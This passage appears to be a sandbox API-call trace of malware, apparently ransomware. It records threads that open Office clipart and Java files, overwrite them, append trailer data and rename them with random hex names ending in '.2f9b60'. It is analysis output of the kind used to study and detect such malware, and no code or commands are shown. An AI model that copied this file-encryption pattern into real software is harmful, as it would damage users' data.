Flags=0x8, Size=0x18) returned 0x1b82cfe0 [0209.697] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x420524d0 [0209.697] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42052320 [0209.698] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42052320) returned 1 [0209.698] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x420612b0) returned 1 [0209.699] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce616a0) returned 1 [0209.699] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x31) returned 0x1cd9f2f0 [0209.699] sprintf (in: _Dest=0x1cd9f2f0, _Format="%c%c" | out: _Dest="c6") returned 2 [0209.699] sprintf (in: _Dest=0x1cd9f2f2, _Format="%c%c" | out: _Dest="da") returned 2 [0209.699] sprintf (in: _Dest=0x1cd9f2f4, _Format="%c%c" | out: _Dest="51") returned 2 [0209.699] sprintf (in: _Dest=0x1cd9f2f6, _Format="%c%c" | out: _Dest="ae") returned 2 [0209.699] sprintf (in: _Dest=0x1cd9f2f8, _Format="%c%c" | out: _Dest="e5") returned 2 [0209.699] sprintf (in: _Dest=0x1cd9f2fa, _Format="%c%c" | out: _Dest="bb") returned 2 [0209.699] sprintf (in: _Dest=0x1cd9f2fc, _Format="%c%c" | out: _Dest="f0") returned 2 [0209.699] sprintf (in: _Dest=0x1cd9f2fe, _Format="%c%c" | out: _Dest="2e") returned 2 [0209.699] sprintf (in: _Dest=0x1cd9f300, _Format="%c%c" | out: _Dest="7b") returned 2 [0209.699] sprintf (in: _Dest=0x1cd9f302, _Format="%c%c" | out: _Dest="84") returned 2 [0209.699] sprintf (in: _Dest=0x1cd9f304, _Format="%c%c" | out: _Dest="5c") returned 2 [0209.699] sprintf (in: _Dest=0x1cd9f306, _Format="%c%c" | out: _Dest="1c") returned 2 [0209.699] sprintf (in: _Dest=0x1cd9f308, _Format="%c%c" | out: _Dest="87") returned 2 [0209.699] sprintf (in: _Dest=0x1cd9f30a, _Format="%c%c" | out: _Dest="1a") returned 2 [0209.699] sprintf (in: _Dest=0x1cd9f30c, _Format="%c%c" | out: _Dest="35") returned 2 [0209.699] sprintf (in: _Dest=0x1cd9f30e, _Format="%c%c" | out: _Dest="d5") returned 2 [0209.699] sprintf (in: _Dest=0x1cd9f310, _Format="%c%c" | out: _Dest="8c") returned 2 [0209.699] sprintf (in: _Dest=0x1cd9f312, _Format="%c%c" | out: _Dest="88") returned 2 [0209.700] sprintf (in: _Dest=0x1cd9f314, _Format="%c%c" | out: _Dest="58") returned 2 [0209.700] sprintf (in: _Dest=0x1cd9f316, _Format="%c%c" | out: _Dest="b5") returned 2 [0209.700] sprintf (in: _Dest=0x1cd9f318, _Format="%c%c" | out: _Dest="fc") returned 2 [0209.700] sprintf (in: _Dest=0x1cd9f31a, _Format="%c%c" | out: _Dest="8c") returned 2 [0209.700] sprintf (in: _Dest=0x1cd9f31c, _Format="%c%c" | out: _Dest="25") returned 2 [0209.700] sprintf (in: _Dest=0x1cd9f31e, _Format="%c%c" | out: _Dest="02") returned 2 [0209.700] RtlInitAnsiString (in: DestinationString=0x4032fc48, SourceString="c6da51aee5bbf02e7b845c1c871a35d58c8858b5fc8c2502" | out: DestinationString="c6da51aee5bbf02e7b845c1c871a35d58c8858b5fc8c2502") [0209.700] RtlAnsiStringToUnicodeString (in: DestinationString=0x4032fc18, SourceString="c6da51aee5bbf02e7b845c1c871a35d58c8858b5fc8c2502", AllocateDestinationString=1 | out: DestinationString="c6da51aee5bbf02e7b845c1c871a35d58c8858b5fc8c2502") returned 0x0 [0209.700] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x62) returned 0x430e9830 [0209.701] wcscat (in: _Dest=0x43186340, _Source="c6da51aee5bb" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\c6da51aee5bb") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\c6da51aee5bb" [0209.701] wcscat (in: _Dest=0x43186340, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\c6da51aee5bb.2f9b60") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\c6da51aee5bb.2f9b60" [0209.701] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\c6da51aee5bb.2f9b60", NtPathName=0x4032fbf0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\c6da51aee5bb.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0209.701] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xac) returned 0x43116f60 Thread: id = 2735 os_tid = 0x2328 [0157.957] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00306_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00306_.wmf")) [0199.546] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00306_.WMF", dwFileAttributes=0x20) returned 1 [0237.779] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00306_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00306_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) Thread: id = 2781 os_tid = 0x23e0 [0158.122] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FINCL_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fincl_01.mid")) [0204.295] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FINCL_01.MID", dwFileAttributes=0x20) returned 1 [0204.299] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FINCL_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fincl_01.mid"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x2920 [0204.299] GetFileSizeEx (in: hFile=0x2920, lpFileSize=0x441efce0 | out: lpFileSize=0x441efce0*=12981) returned 1 [0204.299] SetFilePointerEx (in: hFile=0x2920, liDistanceToMove=0x32b1, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0204.300] ReadFile (in: hFile=0x2920, lpBuffer=0x441efc60, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x441efca8, lpOverlapped=0x0 | out: lpBuffer=0x441efc60*, lpNumberOfBytesRead=0x441efca8*=0x4, lpOverlapped=0x0) returned 1 [0205.267] SetFilePointerEx (in: hFile=0x2920, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0205.268] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85b2f0 [0205.268] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b859940 [0205.269] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b859be0 [0205.269] NtQuerySystemTime (in: CurrentTime=0x441efba0 | out: CurrentTime=0x441efba0*=132462178101394000) returned 0x0 [0205.269] RtlRandomEx (in: Seed=0x441efb90 | out: Seed=0x441efb90) returned 0x61c61af1 [0205.269] RtlRandomEx (in: Seed=0x441efb90 | out: Seed=0x441efb90) returned 0x6cb01fd6 [0205.269] RtlRandomEx (in: Seed=0x441efb90 | out: Seed=0x441efb90) returned 0x4b9cf418 [0205.269] RtlRandomEx (in: Seed=0x441efb90 | out: Seed=0x441efb90) returned 0x552fd17c [0205.269] RtlRandomEx (in: Seed=0x441efb90 | out: Seed=0x441efb90) returned 0x8cbe753 [0205.269] RtlRandomEx (in: Seed=0x441efb90 | out: Seed=0x441efb90) returned 0x46d2bb10 [0205.269] RtlRandomEx (in: Seed=0x441efb90 | out: Seed=0x441efb90) returned 0x61a9bbec [0205.269] RtlRandomEx (in: Seed=0x441efb90 | out: Seed=0x441efb90) returned 0x77b683c0 [0205.269] RtlRandomEx (in: Seed=0x441efb90 | out: Seed=0x441efb90) returned 0x59d94d26 [0205.269] RtlRandomEx (in: Seed=0x441efb90 | out: Seed=0x441efb90) returned 0x71edf0d3 [0205.270] RtlRandomEx (in: Seed=0x441efb90 | out: Seed=0x441efb90) returned 0x2d112e43 [0205.270] RtlRandomEx (in: Seed=0x441efb90 | out: Seed=0x441efb90) returned 0x13fe090 [0205.270] RtlRandomEx (in: Seed=0x441efb90 | out: Seed=0x441efb90) returned 0x323dc157 [0205.270] RtlRandomEx (in: Seed=0x441efb90 | out: Seed=0x441efb90) returned 0x20c88eaf [0205.270] RtlRandomEx (in: Seed=0x441efb90 | out: Seed=0x441efb90) returned 0x2c588cb6 [0205.270] RtlRandomEx (in: Seed=0x441efb90 | out: Seed=0x441efb90) returned 0x3fed66c4 [0205.270] RtlRandomEx (in: Seed=0x441efb90 | out: Seed=0x441efb90) returned 0x76b9514e [0205.270] RtlRandomEx (in: Seed=0x441efb90 | out: Seed=0x441efb90) returned 0x1ad1dba3 [0205.270] RtlRandomEx (in: Seed=0x441efb90 | out: Seed=0x441efb90) returned 0x6c4d8d69 [0205.270] RtlRandomEx (in: Seed=0x441efb90 | out: Seed=0x441efb90) returned 0x2824edab [0205.270] RtlRandomEx (in: Seed=0x441efb90 | out: Seed=0x441efb90) returned 0x1a3508da [0205.270] RtlRandomEx (in: Seed=0x441efb90 | out: Seed=0x441efb90) returned 0x438f4163 [0205.270] RtlRandomEx (in: Seed=0x441efb90 | out: Seed=0x441efb90) returned 0x47c0649b [0205.270] RtlRandomEx (in: Seed=0x441efb90 | out: Seed=0x441efb90) returned 0x756e944a [0205.270] RtlRandomEx (in: Seed=0x441efb90 | out: Seed=0x441efb90) returned 0x361e3934 [0205.270] RtlRandomEx (in: Seed=0x441efb90 | out: Seed=0x441efb90) returned 0x4112a8e2 [0205.270] RtlRandomEx (in: Seed=0x441efb90 | out: Seed=0x441efb90) returned 0x7e406a54 [0205.270] RtlRandomEx (in: Seed=0x441efb90 | out: Seed=0x441efb90) returned 0x17dd4105 [0205.270] RtlRandomEx (in: Seed=0x441efb90 | out: Seed=0x441efb90) returned 0x3124d028 [0205.270] RtlRandomEx (in: Seed=0x441efb90 | out: Seed=0x441efb90) returned 0x55438ff4 [0205.270] RtlRandomEx (in: Seed=0x441efb90 | out: Seed=0x441efb90) returned 0x2484ba63 [0205.270] RtlRandomEx (in: Seed=0x441efb90 | out: Seed=0x441efb90) returned 0x394a3d1f [0205.279] ReadFile (in: hFile=0x2920, lpBuffer=0x42dca8f0, nNumberOfBytesToRead=0x32b5, lpNumberOfBytesRead=0x441efb90, lpOverlapped=0x0 | out: lpBuffer=0x42dca8f0*, lpNumberOfBytesRead=0x441efb90*=0x32b5, lpOverlapped=0x0) returned 1 [0205.454] SetFilePointerEx (in: hFile=0x2920, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0205.454] WriteFile (in: hFile=0x2920, lpBuffer=0x42db4090*, nNumberOfBytesToWrite=0x32b5, lpNumberOfBytesWritten=0x441efb94, lpOverlapped=0x0 | out: lpBuffer=0x42db4090*, lpNumberOfBytesWritten=0x441efb94*=0x32b5, lpOverlapped=0x0) returned 1 [0208.485] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f3940 [0208.485] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f3970 [0208.486] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x422f3970) returned 1 [0208.486] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42db4090) returned 1 [0208.487] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42dca8f0) returned 1 [0208.487] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cebb460) returned 1 [0208.487] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce61880) returned 1 [0208.487] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x422f3970 [0208.488] SetFilePointerEx (in: hFile=0x2920, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0208.488] WriteFile (in: hFile=0x2920, lpBuffer=0x42c141b0*, nNumberOfBytesToWrite=0x10a, lpNumberOfBytesWritten=0x441efcb0, lpOverlapped=0x0 | out: lpBuffer=0x42c141b0*, lpNumberOfBytesWritten=0x441efcb0*=0x10a, lpOverlapped=0x0) returned 1 [0210.534] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce61650 [0210.534] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1ce23d20 [0210.534] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202660f0 [0210.535] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202660f0) returned 1 [0210.535] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x1b82cfe0 [0210.535] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202660f0 [0210.535] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202662a0 [0210.536] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202662a0) returned 1 [0210.536] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce23d20) returned 1 [0210.537] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce61650) returned 1 [0210.537] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x31) returned 0x1b7aa9a0 [0210.537] sprintf (in: _Dest=0x1b7aa9a0, _Format="%c%c" | out: _Dest="1f") returned 2 [0210.538] sprintf (in: _Dest=0x1b7aa9a2, _Format="%c%c" | out: _Dest="88") returned 2 [0210.538] sprintf (in: _Dest=0x1b7aa9a4, _Format="%c%c" | out: _Dest="d8") returned 2 [0210.538] sprintf (in: _Dest=0x1b7aa9a6, _Format="%c%c" | out: _Dest="df") returned 2 [0210.538] sprintf (in: _Dest=0x1b7aa9a8, _Format="%c%c" | out: _Dest="36") returned 2 [0210.538] sprintf (in: _Dest=0x1b7aa9aa, _Format="%c%c" | out: _Dest="18") returned 2 [0210.538] sprintf (in: _Dest=0x1b7aa9ac, _Format="%c%c" | out: _Dest="a5") returned 2 [0210.538] sprintf (in: _Dest=0x1b7aa9ae, _Format="%c%c" | out: _Dest="34") returned 2 [0210.538] sprintf (in: _Dest=0x1b7aa9b0, _Format="%c%c" | out: _Dest="cc") returned 2 [0210.538] sprintf (in: _Dest=0x1b7aa9b2, _Format="%c%c" | out: _Dest="25") returned 2 [0210.538] sprintf (in: _Dest=0x1b7aa9b4, _Format="%c%c" | out: _Dest="cd") returned 2 [0210.538] sprintf (in: _Dest=0x1b7aa9b6, _Format="%c%c" | out: _Dest="6e") returned 2 [0210.538] sprintf (in: _Dest=0x1b7aa9b8, _Format="%c%c" | out: _Dest="c2") returned 2 [0210.538] sprintf (in: _Dest=0x1b7aa9ba, _Format="%c%c" | out: _Dest="4a") returned 2 [0210.538] sprintf (in: _Dest=0x1b7aa9bc, _Format="%c%c" | out: _Dest="16") returned 2 [0210.538] sprintf (in: _Dest=0x1b7aa9be, _Format="%c%c" | out: _Dest="0f") returned 2 [0210.538] sprintf (in: _Dest=0x1b7aa9c0, _Format="%c%c" | out: _Dest="1b") returned 2 [0210.538] sprintf (in: _Dest=0x1b7aa9c2, _Format="%c%c" | out: _Dest="fe") returned 2 [0210.538] sprintf (in: _Dest=0x1b7aa9c4, _Format="%c%c" | out: _Dest="50") returned 2 [0210.538] sprintf (in: _Dest=0x1b7aa9c6, _Format="%c%c" | out: _Dest="f8") returned 2 [0210.538] sprintf (in: _Dest=0x1b7aa9c8, _Format="%c%c" | out: _Dest="e7") returned 2 [0210.538] sprintf (in: _Dest=0x1b7aa9ca, _Format="%c%c" | out: _Dest="4a") returned 2 [0210.538] sprintf (in: _Dest=0x1b7aa9cc, _Format="%c%c" | out: _Dest="eb") returned 2 [0210.538] sprintf (in: _Dest=0x1b7aa9ce, _Format="%c%c" | out: _Dest="13") returned 2 [0210.538] RtlInitAnsiString (in: DestinationString=0x441efd28, SourceString="1f88d8df3618a534cc25cd6ec24a160f1bfe50f8e74aeb13" | out: DestinationString="1f88d8df3618a534cc25cd6ec24a160f1bfe50f8e74aeb13") [0210.538] RtlAnsiStringToUnicodeString (in: DestinationString=0x441efcf8, SourceString="1f88d8df3618a534cc25cd6ec24a160f1bfe50f8e74aeb13", AllocateDestinationString=1 | out: DestinationString="1f88d8df3618a534cc25cd6ec24a160f1bfe50f8e74aeb13") returned 0x0 [0210.538] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x62) returned 0x4319ffa0 [0210.539] wcscat (in: _Dest=0x431878a0, _Source="1f88d8df3618" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\1f88d8df3618") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\1f88d8df3618" [0210.539] wcscat (in: _Dest=0x431878a0, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\1f88d8df3618.2f9b60") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\1f88d8df3618.2f9b60" [0210.539] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\1f88d8df3618.2f9b60", NtPathName=0x441efcd0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\1f88d8df3618.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0210.539] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xac) returned 0x4311b1a0 Thread: id = 2799 os_tid = 0x198c [0159.871] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\Abidjan" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\africa\\abidjan")) returned 0x20 [0165.796] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\Abidjan", dwFileAttributes=0x20) returned 1 [0166.807] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\Abidjan" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\africa\\abidjan"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x2964 [0166.807] GetFileSizeEx (in: hFile=0x2964, lpFileSize=0x22c1f960 | out: lpFileSize=0x22c1f960*=65) returned 1 [0166.808] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f7030 [0166.808] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f4060 [0166.808] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f4180 [0166.808] NtQuerySystemTime (in: CurrentTime=0x22c1f820 | out: CurrentTime=0x22c1f820*=132462177719194000) returned 0x0 [0166.808] RtlRandomEx (in: Seed=0x22c1f810 | out: Seed=0x22c1f810) returned 0x2d7fb7b0 [0166.808] RtlRandomEx (in: Seed=0x22c1f810 | out: Seed=0x22c1f810) returned 0x5df47a5a [0166.808] RtlRandomEx (in: Seed=0x22c1f810 | out: Seed=0x22c1f810) returned 0x1a526148 [0166.808] RtlRandomEx (in: Seed=0x22c1f810 | out: Seed=0x22c1f810) returned 0x4b4ff069 [0166.808] RtlRandomEx (in: Seed=0x22c1f810 | out: Seed=0x22c1f810) returned 0x66b3ac7c [0166.808] RtlRandomEx (in: Seed=0x22c1f810 | out: Seed=0x22c1f810) returned 0x4731c37b [0166.808] RtlRandomEx (in: Seed=0x22c1f810 | out: Seed=0x22c1f810) returned 0x4b68aac3 [0166.808] RtlRandomEx (in: Seed=0x22c1f810 | out: Seed=0x22c1f810) returned 0x2d9800da [0166.808] RtlRandomEx (in: Seed=0x22c1f810 | out: Seed=0x22c1f810) returned 0x653406f0 [0166.809] RtlRandomEx (in: Seed=0x22c1f810 | out: Seed=0x22c1f810) returned 0x4845ee13 [0166.809] RtlRandomEx (in: Seed=0x22c1f810 | out: Seed=0x22c1f810) returned 0x3b2f186b [0166.809] RtlRandomEx (in: Seed=0x22c1f810 | out: Seed=0x22c1f810) returned 0x3b12d0b9 [0166.809] RtlRandomEx (in: Seed=0x22c1f810 | out: Seed=0x22c1f810) returned 0x56926f3a [0166.809] RtlRandomEx (in: Seed=0x22c1f810 | out: Seed=0x22c1f810) returned 0x4d383e7b [0166.809] RtlRandomEx (in: Seed=0x22c1f810 | out: Seed=0x22c1f810) returned 0x70782386 [0166.809] RtlRandomEx (in: Seed=0x22c1f810 | out: Seed=0x22c1f810) returned 0x32e73d18 [0166.809] RtlRandomEx (in: Seed=0x22c1f810 | out: Seed=0x22c1f810) returned 0x53d2aeca [0166.809] RtlRandomEx (in: Seed=0x22c1f810 | out: Seed=0x22c1f810) returned 0x150fd21 [0166.809] RtlRandomEx (in: Seed=0x22c1f810 | out: Seed=0x22c1f810) returned 0xcdd139 [0166.809] RtlRandomEx (in: Seed=0x22c1f810 | out: Seed=0x22c1f810) returned 0x2bea3a1f [0166.809] RtlRandomEx (in: Seed=0x22c1f810 | out: Seed=0x22c1f810) returned 0x3c6126a0 [0166.809] RtlRandomEx (in: Seed=0x22c1f810 | out: Seed=0x22c1f810) returned 0x11bf36d3 [0166.809] RtlRandomEx (in: Seed=0x22c1f810 | out: Seed=0x22c1f810) returned 0x3af45a5 [0166.809] RtlRandomEx (in: Seed=0x22c1f810 | out: Seed=0x22c1f810) returned 0x2dad912b [0166.809] RtlRandomEx (in: Seed=0x22c1f810 | out: Seed=0x22c1f810) returned 0x3eaf89f3 [0166.809] RtlRandomEx (in: Seed=0x22c1f810 | out: Seed=0x22c1f810) returned 0x42b6c06e [0166.809] RtlRandomEx (in: Seed=0x22c1f810 | out: Seed=0x22c1f810) returned 0x54a6706 [0166.809] RtlRandomEx (in: Seed=0x22c1f810 | out: Seed=0x22c1f810) returned 0x3c0d30c1 [0166.809] RtlRandomEx (in: Seed=0x22c1f810 | out: Seed=0x22c1f810) returned 0x4f6d832a [0166.809] RtlRandomEx (in: Seed=0x22c1f810 | out: Seed=0x22c1f810) returned 0xef83e09 [0166.809] RtlRandomEx (in: Seed=0x22c1f810 | out: Seed=0x22c1f810) returned 0x41a1247 [0166.809] RtlRandomEx (in: Seed=0x22c1f810 | out: Seed=0x22c1f810) returned 0x3d0c89a0 [0166.818] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f40c0 [0166.818] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1cec65a0 [0166.819] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f4090 [0166.819] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cec65a0) returned 1 [0166.819] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x422f4180) returned 1 [0166.819] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x422f7030) returned 1 [0166.819] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce18780 [0166.820] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1cec65a0 [0166.820] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f7030 [0166.820] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x422f7030) returned 1 [0166.820] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x422b5d50 [0166.820] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x422c89a0 [0166.821] ReadFile (in: hFile=0x2964, lpBuffer=0x422b5d50, nNumberOfBytesToRead=0x41, lpNumberOfBytesRead=0x22c1f810, lpOverlapped=0x0 | out: lpBuffer=0x422b5d50*, lpNumberOfBytesRead=0x22c1f810*=0x41, lpOverlapped=0x0) returned 1 [0166.822] SetFilePointerEx (in: hFile=0x2964, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0166.822] WriteFile (in: hFile=0x2964, lpBuffer=0x422c89a0*, nNumberOfBytesToWrite=0x41, lpNumberOfBytesWritten=0x22c1f814, lpOverlapped=0x0 | out: lpBuffer=0x422c89a0*, lpNumberOfBytesWritten=0x22c1f814*=0x41, lpOverlapped=0x0) returned 1 [0183.430] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42d32090 [0183.430] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42d320c0 [0183.431] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42d320c0) returned 1 [0183.431] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x422c89a0) returned 1 [0183.431] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x422b5d50) returned 1 [0183.432] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cec65a0) returned 1 [0183.432] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce18780) returned 1 [0183.432] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x1c) returned 0x42d320c0 [0183.433] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce18780 [0183.433] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1cec65a0 [0183.433] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42d320f0 [0183.434] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42d320f0) returned 1 [0183.434] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x1c) returned 0x42d320f0 [0183.434] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42d32120 [0183.434] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42d32150 [0183.435] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42d32150) returned 1 [0183.435] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cec65a0) returned 1 [0183.442] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce18780) returned 1 [0183.442] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x100) returned 0x4314c720 [0188.029] SetFilePointerEx (in: hFile=0x2964, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0188.029] WriteFile (in: hFile=0x2964, lpBuffer=0x4314c720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x22c1f930, lpOverlapped=0x0 | out: lpBuffer=0x4314c720*, lpNumberOfBytesWritten=0x22c1f930*=0x100, lpOverlapped=0x0) returned 1 [0202.837] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce5bfc0 [0202.838] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1ce5abb0 [0202.838] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204ff840 [0202.839] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204ff840) returned 1 [0202.839] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xe) returned 0x1b82d3a0 [0202.839] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204ff840 [0202.839] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x205002c0 [0202.840] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x205002c0) returned 1 [0202.840] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce5abb0) returned 1 [0202.841] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce5bfc0) returned 1 [0202.841] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x1d) 